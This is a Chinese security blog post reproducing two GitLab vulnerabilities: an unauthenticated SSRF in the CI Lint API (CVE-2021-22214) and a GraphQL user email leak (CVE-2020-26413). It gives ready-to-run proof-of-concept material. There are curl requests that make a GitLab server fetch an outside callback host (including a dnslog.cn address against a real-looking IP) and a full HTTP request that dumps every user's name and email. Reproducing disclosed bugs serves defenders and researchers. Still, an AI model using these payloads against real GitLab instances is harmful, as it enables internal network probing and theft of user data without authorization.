前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >追洞计划 | Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

追洞计划 | Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

作者头像
Ms08067安全实验室
发布2021-07-16 15:47:47
2.5K0
发布2021-07-16 15:47:47
举报

文章来源|MS08067 Web安全知识星球

本文作者:Taoing(Web安全攻防合伙人)

GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。

一、漏洞描述

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。

CVE-2021-22214

GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

二、漏洞影响

代码语言:javascript
复制
  app="GitLab"

影响版本:从 10.5 开始的所有版本

安全版本:官方当前最新的 13.12.2, 13.11.5 和 13.10.5

三、POC:

代码语言:javascript
复制
curl -s --show-error -H 'Content-Type: application/json' https://example.gitlab.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'

四、漏洞复现:

1、环境搭建

搭建环境介绍:CentOS7.6

1)首先按官网提示先安装依赖,然后执行下面命令添加yum源,选择gitlab-ce社区版

代码语言:javascript
复制
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

2)更新本地yum缓存

代码语言:javascript
复制
sudo yum makecache

3)获取更新源中可安装所有的gitlab版本

代码语言:javascript
复制
yum list gitlab-ce --showduplicates|sort -r

使用yum安装指定版本,例如13.12.1

代码语言:javascript
复制
yum install gitlab-ce-13.12.1-ce.0.el7

使用命令gitlab-ctl reconfigure即可默认配置安装gitlab。

默认配置安装gitlab:端口默认80

代码语言:javascript
复制
gitlab-ctl reconfigure
2、漏洞复现

1)dnslog

代码语言:javascript
复制
curl -s --show-error -H 'Content-Type: application/json' http://47.243.37.71/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://rkv4ov.dnslog.cn/api/v1/targets/?test.yml"}'

GitLab_Graphql邮箱信息泄露漏洞(CVE-2020-26413)

一、漏洞描述

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名

二、影响范围

GitLab 13.4 – 13.6.2

title="GitLab"

三、漏洞复现

访问 URL

http://xxx.xxx.xxx.xxx/-//graphql-explorer

Gitlab本身不允许获取账号邮箱信息,这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法获取邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱

发包调用了 /api/graphql 接口发送数据

完整数据包为:

代码语言:javascript
复制
POST //api/graphql HTTP/1.1
Host: 10.1.2.33:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 220

{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、漏洞描述
  • 二、漏洞影响
  • 三、POC:
  • 四、漏洞复现:
    • 1、环境搭建
      • 2、漏洞复现
      • GitLab_Graphql邮箱信息泄露漏洞(CVE-2020-26413)
        • 一、漏洞描述
          • 二、影响范围
            • 三、漏洞复现
            相关产品与服务
            代码托管
            CODING 代码托管(CODING Code Repositories,CODING-CR)是为开发者打造的云端便捷代码管理工具,旨在为更多的开发者带去便捷、高效的开发体验,全面支持 Git/SVN 代码托管,包括代码评审、分支管理、超大仓库等功能。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档